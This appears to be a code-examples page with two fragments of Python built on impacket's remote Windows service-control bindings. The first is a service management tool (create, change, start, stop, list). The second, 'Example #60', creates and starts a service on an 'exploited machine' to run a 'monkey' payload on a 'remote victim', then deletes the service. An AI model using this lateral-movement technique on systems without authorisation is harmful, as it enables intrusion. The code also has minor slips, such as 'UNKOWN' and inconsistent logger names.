            serviceHandle = ans['lpServiceHandle']

        if self.__action == 'START':
            self.__logger.success("Starting service {}".format(self.__options.service_name))
            scmr.hRStartServiceW(rpc, serviceHandle)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'STOP':
            self.__logger.success("Stopping service {}".format(self.__options.service_name))
            scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'DELETE':
            self.__logger.success("Deleting service {}".format(self.__options.service_name))
            scmr.hRDeleteService(rpc, serviceHandle)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'CONFIG':
            self.__logger.success("Service config for {}".format(self.__options.service_name))
            resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
            output = "TYPE              : %2d - " % resp['lpServiceConfig']['dwServiceType']
            if resp['lpServiceConfig']['dwServiceType'] & 0x1:
                output += "SERVICE_KERNEL_DRIVER "
            if resp['lpServiceConfig']['dwServiceType'] & 0x2:
                output += "SERVICE_FILE_SYSTEM_DRIVER "
            if resp['lpServiceConfig']['dwServiceType'] & 0x10:
                output += "SERVICE_WIN32_OWN_PROCESS "
            if resp['lpServiceConfig']['dwServiceType'] & 0x20:
                output += "SERVICE_WIN32_SHARE_PROCESS "
            if resp['lpServiceConfig']['dwServiceType'] & 0x100:
                output += "SERVICE_INTERACTIVE_PROCESS "
            self.__logger.results(output)

            output = "START_TYPE        : %2d - " % resp['lpServiceConfig']['dwStartType']
            if resp['lpServiceConfig']['dwStartType'] == 0x0:
                output += "BOOT START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x1:
                output += "SYSTEM START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x2:
                output += "AUTO START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x3:
                output += "DEMAND START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x4:
                output += "DISABLED"
            else:
                output += "UNKOWN"
            self.logger.results(output)

            output = "ERROR_CONTROL     : %2d - " % resp['lpServiceConfig']['dwErrorControl']
            if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
                output += "IGNORE"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
                output += "NORMAL"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
                output += "SEVERE"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
                output += "CRITICAL"
            else:
                output += "UNKOWN"
            self.__logger.results(output)

            self.__logger.results("BINARY_PATH_NAME  : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])
            self.__logger.results("LOAD_ORDER_GROUP  : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])
            self.__logger.results("TAG               : %d" % resp['lpServiceConfig']['dwTagId'])
            self.__logger.results("DISPLAY_NAME      : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1])
            self.__logger.results("DEPENDENCIES      : %s" % resp['lpServiceConfig']['lpDependencies'][:-1])
            self.__logger.results("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1])
        elif self.__action == 'STATUS':
            self.__logger.success("Service status for {}".format(self.__options.service_name))
            resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
            output = "%s - " % self.__options.service_name
            state = resp['lpServiceStatus']['dwCurrentState']
            if state == scmr.SERVICE_CONTINUE_PENDING:
               output += "CONTINUE PENDING"
            elif state == scmr.SERVICE_PAUSE_PENDING:
               output += "PAUSE PENDING"
            elif state == scmr.SERVICE_PAUSED:
               output += "PAUSED"
            elif state == scmr.SERVICE_RUNNING:
               output += "RUNNING"
            elif state == scmr.SERVICE_START_PENDING:
               output += "START PENDING"
            elif state == scmr.SERVICE_STOP_PENDING:
               output += "STOP PENDING"
            elif state == scmr.SERVICE_STOPPED:
               output += "STOPPED"
            else:
               output += "UNKOWN"
            self.__logger.results(output)
        elif self.__action == 'LIST':
            self.__logger.success("Enumerating services")
            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
            resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
            for i in range(len(resp)):
                output = "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1])
                state = resp[i]['ServiceStatus']['dwCurrentState']
                if state == scmr.SERVICE_CONTINUE_PENDING:
                   output += "CONTINUE PENDING"
                elif state == scmr.SERVICE_PAUSE_PENDING:
                   output += "PAUSE PENDING"
                elif state == scmr.SERVICE_PAUSED:
                   output += "PAUSED"
                elif state == scmr.SERVICE_RUNNING:
                   output += "RUNNING"
                elif state == scmr.SERVICE_START_PENDING:
                   output += "START PENDING"
                elif state == scmr.SERVICE_STOP_PENDING:
                   output += "STOP PENDING"
                elif state == scmr.SERVICE_STOPPED:
                   output += "STOPPED"
                else:
                   output += "UNKOWN"
                self.__logger.results(output)
            self.__logger.results("Total Services: {}".format(len(resp)))
        elif self.__action == 'CREATE':
            self.__logger.success("Creating service {}".format(self.__options.service_name))
            scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.service_name + '\x00', self.__options.service_display_name + '\x00', lpBinaryPathName=self.__options.service_bin_path + '\x00')
        elif self.__action == 'CHANGE':
            self.__logger.success("Changing service config for {}".format(self.__options.service_name))
            if self.__options.start_type is not None:
                start_type = int(self.__options.start_type)
            else:
                start_type = scmr.SERVICE_NO_CHANGE
            if self.__options.service_type is not None:
                service_type = int(self.__options.service_type)
            else:
                service_type = scmr.SERVICE_NO_CHANGE

            if self.__options.service_display_name is not None:
                display = self.__options.service_display_name + '\x00'
            else:
                display = NULL
 
            if self.__options.service_bin_path is not None:
                path = self.__options.service_bin_path + '\x00'
            else:
                path = NULL
 
            if self.__options.start_name is not None:
                start_name = self.__options.start_name + '\x00'
            else:
                start_name = NULL 

            if self.__options.start_pass is not None:
                s = rpctransport.get_smb_connection()
                key = s.getSessionKey()
                try:
                    password = (self.__options.start_pass+'\x00').encode('utf-16le')
                except UnicodeDecodeError:
                    import sys
                    password = (self.__options.start_pass+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le')
                password = encryptSecret(key, password)
            else:
                password = NULL
 

            #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle,  display, path, service_type, start_type, start_name, password)
            scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        else:
            logging.error("Unknown action %s" % self.__action)

        scmr.hRCloseServiceHandle(rpc, scManagerHandle)

        dce.disconnect()

        return
Example #60
0
                scmr_rpc.connect()
            except Exception, exc:
                LOG.warn("Error connecting to SCM on exploited machine %r: %s",
                         host, exc)
                return False

            smb_conn = rpctransport.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        smb_conn.setTimeout(100000)
        scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(scmr_rpc)
        sc_handle = resp['lpScHandle']

        # start the monkey using the SCM
        resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, "Chaos Monkey", "Chaos Monkey",
                                     lpBinaryPathName=cmdline)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(scmr_rpc, service)
        except:
            pass
        scmr.hRDeleteService(scmr_rpc, service)
        scmr.hRCloseServiceHandle(scmr_rpc, service)

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, host, cmdline)

        return True